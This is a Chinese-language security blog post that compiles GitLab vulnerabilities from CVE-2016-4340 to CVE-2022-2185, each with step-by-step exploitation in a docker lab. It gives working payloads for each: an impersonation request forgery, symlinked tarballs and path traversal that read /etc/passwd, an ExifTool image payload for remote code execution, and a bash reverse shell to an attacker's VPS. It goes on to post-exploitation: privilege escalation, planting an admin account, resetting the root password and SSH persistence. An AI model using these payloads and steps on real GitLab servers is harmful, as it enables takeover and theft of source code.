echo**@深蓝实验室重保天佑战队

前言
GitLab 是一个用于仓库管理系统的开源项目,使用 Git 作为代码管理工具,可通过 Web 界面访问公开或私人项目。这里整理了gitlab常见的漏洞,并在整理过程中发现网上对于gitlab的后利用相关内容较少,这里进行补充。

GitLab版本检测
命令行:
使用如下命令可查看当前GitLab的版本:
cat /opt/gitlab/embedded/service/gitlab-rails/VERSION
Web页面:
登录后http://ip/help或者直接访问http://ip/help。
1、CVE-2016-4340
影响版本
Gitlab 8.7.0
Gitlab 8.6.0-8.6.7
Gitlab 8.5.0-8.5.11
Gitlab 8.4.0-8.4.9
Gitlab 8.3.0-8.3.8
Gitlab 8.2.0-8.2.4
环境拉取

docker pull gitlab/gitlab-ce:8.7.0-ce.0
docker run -d  -p 443:443 -p 80:80 -p 222:22 --name gitlab --restart always -v /home/gitlab/config:/etc/gitlab -v /home/gitlab/logs:/var/log/gitlab -v /home/gitlab/data:/var/opt/gitlab gitlab/gitlab-ce:8.7.0-ce.0

环境搭好后需要更改密码,先创建普通用户,并登录:

漏洞复现
然后新建项目


抓包并查看authenticity_token的值
WmZhMvRYay9X3p27Ai%2Fu28xW5ndPsJrKVk3aCsas%2B0fUqNmligcX%2FqkzmBMSFElxjUKJRbscBcWDm3WCNG8zaw%3D%3D

把包内容全部删除

返回浏览器访问your-ip/admin/users/stop_impersonation?id=root

丢弃掉空白的包,会看到新的包

把数据包修改成post并加入post参数,最后把刚刚获取authenticity_token值替换进去。放包

POST /admin/users/stop_impersonation?id=root
. . .
_method=delete&authenticity_token=WmZhMvRYay9X3p27Ai%2Fu28xW5ndPsJrKVk3aCsas%2B0fUqNmligcX%2FqkzmBMSFElxjUKJRbscBcWDm3WCNG8zaw%3D%3D

成功获取root权限

2、任意文件读取漏洞(CVE-2016-9086)
在8.9版本后添加的"导出、导入项目"功能,因为没有处理好压缩包中的软连接,已登录用户可以利用这个功能读取服务器上的任意文件。

注:GitLab8.9.0-8.13.0版本的项目导入功能需要管理员开启,gitlab8.13.0版本之后所有用户都可以使用导入功能。管理员可以访问 http://domain/admin/application_settings 开启,开启之后用任意用户新建项目的时候,可以在export一项中看到。

影响版本
GitLab CE/EEversions 8.9、8.10、8.11、8.12 和8.13
环境拉取
Vulhub执行如下命令启动一个GitLab Community Server 8.13.1:
docker-compose up -d

环境运行后,访问http://192.168.235.129:8080即可查看GitLab主页,其ssh端口为10022,默认管理员账号root、密码是vulhub123456。
注意,请使用2G及以上内存的VPS或虚拟机运行该环境,实测1G内存的机器无法正常运行GitLab(运行后502错误)。

漏洞复现
注册并登录一个帐户:

然后单击”新建项目“页面上的“GitLab 导出”按钮:

上传文件test.tar.gz,访问文件发现被泄露:/etc/passwd


原理分析
一个空的项目导出后结构如下:

VERSION 的文件内容为GitLab的导出模块的版本,project.json则包含了项目的配置文件。
导入GitLab的导出文件的时候,GitLab会按照如下步骤处理:
1.服务器根据VERSION文件内容检测导出文件版本,如果版本符合,则导入。
2.服务器根据Project.json文件创建一个新的项目,并将对应的项目文件拷贝到服务器上对应的位置。

...
def check!
    version = File.open(version_file, &:readline)
    verify_version!(version)
rescue => e
    shared.error(e)
    false
end
...
def verify_version!(version)
    if Gem::Version.new(version) != Gem::Version.new(Gitlab::ImportExport.version)
        raise Gitlab::ImportExport::Error.new("Import version mismatch: Required #{Gitlab::ImportExport.version} but was #{version}")
    else
        true
    end
end
...

这里的逻辑是读取VERSION文件的第一行赋值给变量version,然后检测verison与当前版本是否相同,相同返回true,version不相同则返回错误信息(错误信息中包括变量的值).
于是漏洞发现者巧妙的使用了软链接来达到读取任意文件的目的。首先,我们给VERSION文件加上软链接并重新打包。

ln -sf /etc/passwd VERSION
tar zcf change_version.tar.gz ./

这样,读取VERSION文件的时候服务器就会根据软链接读取到/etc/passwd的第一行内容并赋值给version。但是由于version与当前版本不相同,所以会输出version的值,也就是/etc/passwd第一行的内容。

访问之前搭建好的GitLab服务器,创建一个新的项目,填写完项目名称后在一栏中选择Import project fromGitLab ,export上传我们修改后的导入包,然后就可以看到/etc/passwd文件第一行

但是,如果只读取任意文件的第一行,能做的事情还是太少了。漏洞发现者显然不满足这一结果,他继续找了下去.
读取这一配置文件的代码位于:
Project.json/lib/gitlab/import_export/project_tree_restorer.rb
中:

def restore
    json = IO.read(@path)
    tree_hash = ActiveSupport::JSON.decode(json)
    project_members = tree_hash.delete('project_members')

    ActiveRecord::Base.no_touching do
        create_relations
    end
rescue => e
    shared.error(e)
    false
end

在这里,我们可以再次使用软链接使变量获取到任意文件的内容,但是由于获取的json文件不是json格式,无法decode,导致异常抛出,最终在前端显示出任意文件的内容。添加软链接并打包:

ln -sf /etc/passwd project.json
tar zcf change_version.tar.gz ./

上传导出包,页面上显示的结果:

参考链接
https://about.gitlab.com/releases/2016/11/02/cve-2016-9086-patches/
https://hackerone.com/reports/178152
http://paper.seebug.org/104/
3、任意文件读取漏洞(CVE-2020-10977)
在Gitlab 8.5-12.9版本中,存在一处任意文件读取漏洞,攻击者可以利用该漏洞,在不需要特权的状态下,读取任意文件,造成严重信息泄露,从而导致进一步被攻击的风险。
影响版本
8.5 <= GitLab GitLab CE/EE <=12.9
环境搭建

docker run --detach --hostname 192.168.235.129 --publish 443:443 --publish 80:80 --publish 22:22 --name gitlab --restart always --volume /root/config:/etc/gitlab --volume /root/logs:/var/log/gitlab --volume /root/data:/var/opt/gitlab gitlab/gitlab-ee:12.1.6-ee.0

将IP改为自己电脑本机IP,运行搭建成功访问即可,环境搭好后需要更改密码
在此处创建一个新的账号。

漏洞复现
登录gitlab,创建两个project

在project1中创建issues。

![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../../etc/passwd)

将issues move到project2中。

移动成功后,点击链接即可下载指定文件

漏洞exp
https://blog.csdn.net/weixin_45006525/article/details/116189572

4、远程命令执行漏洞(CVE-2021-22205)
11.9以后的GitLab中,因为使用了图片处理工具ExifTool而受到漏洞CVE-2021-22204的影响,攻击者可以通过一个未授权的接口上传一张恶意构造的图片,进而在GitLab服务器上执行命令。

影响版本
该漏洞影响以下GitLab企业版和社区版:
11.9 <= Gitlab CE/EE < 13.8.8
13.9 <= Gitlab CE/EE < 13.9.6
13.10 <= Gitlab CE/EE < 13.10.3
环境拉取
执行如下命令通过vulhub(官网地址:https://vulhub.org/)启动一个GitLab 13.10.1版本服务器:
docker-compose up -d
环境启动后,访问http://your-ip:8080即可查看到GitLab的登录页面。

漏洞复现
1、简单复现
GitLab的/uploads/user接口可以上传图片且无需认证,利用vulhub自带的poc.py脚本来测试这个漏洞:
python poc.py http://your-ip:8080 "touch /tmp/success"

进入容器查看
docker-compose exec gitlab bash
可见touch /tmp/success已成功执行:

2、详细分析
获取X-CSRF-Token
GET /users/sign_in

RCE

POST /uploads/user
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryIMv3mxRg59TkFSX5
X-CSRF-Token: {{csrf-token}}
Content-Disposition: form-data; name="file"; filename="test.jpg"
Content-Type: image/jpeg

AT&TFORM 疍JVMDIRM .? F ?蘅?!葢N?亿堣k鍰,q領觧暯⒚"?FORM ^DJVUINFO 
d INCL shared_anno.iff BG44 J 婃岜7?*? BG44 鶡BG44 
FORM DJVIANTa P(metadata
(Copyright "\
" . qx{echo vakzz >/tmp/vakzz} . \
" b ") )

这个下图是之前做的,所以找不文件了,内容都是一样,明白POST提交的数据包是什么内容即可。

关于vulhub的poc.py脚本内容,数据也是和我们上面所发送的数据包一致:

3、完整复现
这里由于vulhub靶场的CVE-2021-22205靶场环境太过于局限,这里我重新拉取一个gitlab13.9的版本,操作如下:

export GITLAB_HOME=/srv/gitlab

sudo docker run --detach \
  --hostname gitlab.example.com \
  --publish 443:443 --publish 80:80 \
  --name gitlab \
  --restart always \
  --volume $GITLAB_HOME/config:/etc/gitlab \
  --volume $GITLAB_HOME/logs:/var/log/gitlab \
  --volume $GITLAB_HOME/data:/var/opt/gitlab \
  gitlab/gitlab-ce:13.9.1-ce.0

环境如下:

浏览器访问本机IP:80即可成功访问到gitlab界面。需要设置密码,我这里随便设了一个。

这里直接推荐Al1ex师傅的脚本(脚本原理与上面也是一样的):
https://github.com/Al1ex/CVE-2021-22205
这里有三种模式:
验证模式:验证是否存在漏洞
攻击模式:可以通过-c更改命令
批量检测:若指纹识别得到多个gitlab,可以放入txt里面进行批量验证是否存在本漏洞。

这里我们先验证目标漏洞是否存在:
python CVE-2021-22205.py -v true -t http://192.168.235.129/
返回漏洞存在:

进一步通过DNSlog去验证:
python CVE-2021-22205.py -a true -t http://192.168.235.129/ -c "curl DNSlog地址"
这里最好用自己的DNSlog,如果没有的可以使用这个平台:https://dig.pm/
看一下结果,发现Dnslog接收到了来自目标主机的数据,说明漏洞确实存在:

反弹shell
首先在自己的VPS上监听端口
nc -lvvp 5120

python CVE-2021-22205.py -a true -t http://192.168.235.129/ -c "echo 'bash -i >& /dev/tcp/自己VPS的IP/5120 0>&1' > /tmp/1.sh"

python CVE-2021-22205.py -a true -t http://192.168.235.129/ -c "chmod +x /tmp/1.sh"

python CVE-2021-22205.py -a true -t http://192.168.235.129/ -c "/bin/bash /tmp/1.sh"

然后返回来看自己监听的VPS,可以看到已经得到一个shell了

4、/ 后利用 /
前面通过rce后拿到的默认是git用户,非root用户

利用方式一:提权
这里建议通过如polkit、脏牛等漏洞进行后一步提权。
这里以Polkit权限提升为例:
查看SUID可执行文件的命令:

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

Linux Polkit权限提升漏洞(CVE-2021-4034):
通过查找是否存在/usr/bin/pkexec,来判断能否利用CVE-2021-4034提权
提权之后
方法一:添加管理员账户,登录gitlab页面。
echo 'user=User.new;user.name="test";user.username="test";user.password="echo123456";user.password_confirmation="echo123456";user.email="test@example.com";user.access_level="admin";user.confirmed_at = Time.zone.now;user.save!' | gitlab-rails console
方法二:重置管理员密码,登录gitlab页面。
利用方式二:重置密码
如果只想要访问gitlab项目,可以参考本地修复gitlab管理员密码的方法来替换管理员密码。
先讲一下正常gitlab管理员重置密码:
1.这里网上说在强调需要root进入容器然后才能进控制台,我这边反弹的shell git用户权限也可以直接进入控制台。使用以下命令启动Ruby on Rails控制台
gitlab-rails console -e production

2.等待一段时间,控制台加载完毕,有多种找到用户的方法,您可以搜索电子邮件或用户名。
user = User.where(id: 1).first //由于管理员用户root为第一个用户,因此用户id为1;

3.现在更改密码,注意,必须同时更改密码和password_confirmation才能使其正常工作。
user.password = '新密码'
user.password_confirmation = '新密码'

4.最后别忘了保存更改。
user.save

完整指令如下:

root@971e942b7a70:/# gitlab-rails console -e production
--------------------------------------------------------------------------------
 Ruby:         ruby 2.7.4p191 (2021-07-07 revision a21a3b7d23) [x86_64-linux]
 GitLab:       14.3.0 (ceec8accb09) FOSS
 GitLab Shell: 13.21.0
 PostgreSQL:   12.7
--------------------------------------------------------------------------------
Loading production environment (Rails 6.1.3.2)
irb(main):001:0> user = User.where(id: 1).first
=> #<User id:1 @root>
irb(main):002:0> user.password = 'admin1234'
=> "admin1234"
irb(main):004:0> user.password_confirmation = 'admin1234'
=> "admin1234"
irb(main):005:0> user.save
Enqueued ActionMailer::MailDeliveryJob (Job ID: 191a2ed7-0caa-4122-bd06-19c32bffc50c) to Sidekiq(mailers) with arguments: "DeviseMailer", "password_change", "deliver_now", {:args=>[#<GlobalID:0x00007f72f7503158 @uri=#<URI::GID gid://gitlab/User/1>>]}
=> true

管理员root用户密码重置完毕,重置后的密码为admin1234。
下面是我用刚刚的shell执行的效果:
1、进入控制台:gitlab-rails console -e production
注意注意:这里一定要等一等,网上的文章说这里会卡住,其实只是人家程序在加载

2、找到root用户,一开始我也以为是爆错,心想凉凉了,结果最后是执行了的

3、更改密码。
user.password = 'admin1234'
user.password_confirmation = 'admin1234'

4、最后保存
user.save

5、回到登陆界面,输入root/admin1234。

发现成功登录,可以得到gitlab平台上的源代码。
利用方式三:SSH免密登录
如果上面的第二种利用方式不行的话,可以尝试SSH免密登录这种方式
查看/etc/passwd
在 /etc/passwd 文件中,大家可以把最后这个字段理解为用户登录之后所拥有的权限。如果这里使用的是 bash 命令解释器,就代表这个用户拥有权限范围内的所有权限。Shell 命令解释器如果为 /sbin/nologin,那么,这个用户就不能登录了。

可以看到,这里的gti用户具有ssh登录权限,可以通过向git用户写入公钥进行登录。
由于SSH免密登录不是本文重点,想了解gitlab免密登录可以看这篇文章:
https://zhuanlan.zhihu.com/p/439476986
参考链接
https://paper.seebug.org/1772/
https://www.ddosi.org/cve-2021-22205/
5、SSRF未授权(CVE-2021-22214)
影响版本
10.5 <= GitLab < 13.10.5
13.11 <= GitLab < 13.11.5
13.12 <= GitLab <= 13.12.2
漏洞复现
POC为:(使用时修改两处即可)

curl -k -s --show-error -H 'Content-Type: application/json' http://127.0.0.1/api/v4/ci/lint --data '{ "include_merged_yaml": true, "content":"include:\n remote: http://6hd7mj.dnslog.cn/api/v1/targets/?test.yml"}'

完整数据包:

POST /api/v4/ci/lint HTTP/1.1
Host: 127.0.0.1
Cache-Control: max-age=0
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 112


{"include_merged_yaml": true, "content": "include:\n remote: http://6hd7mj.dnslog.cn/api/v1/targets?test.yml"}

参考文章
http://cn-sec.com/archives/889456.html
6、CVE-2022-2185
详情请见:https://starlabs.sg/blog/2022/07-gitlab-project-import-rce-analysis-cve-2022-2185/

点击收藏 | 6 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖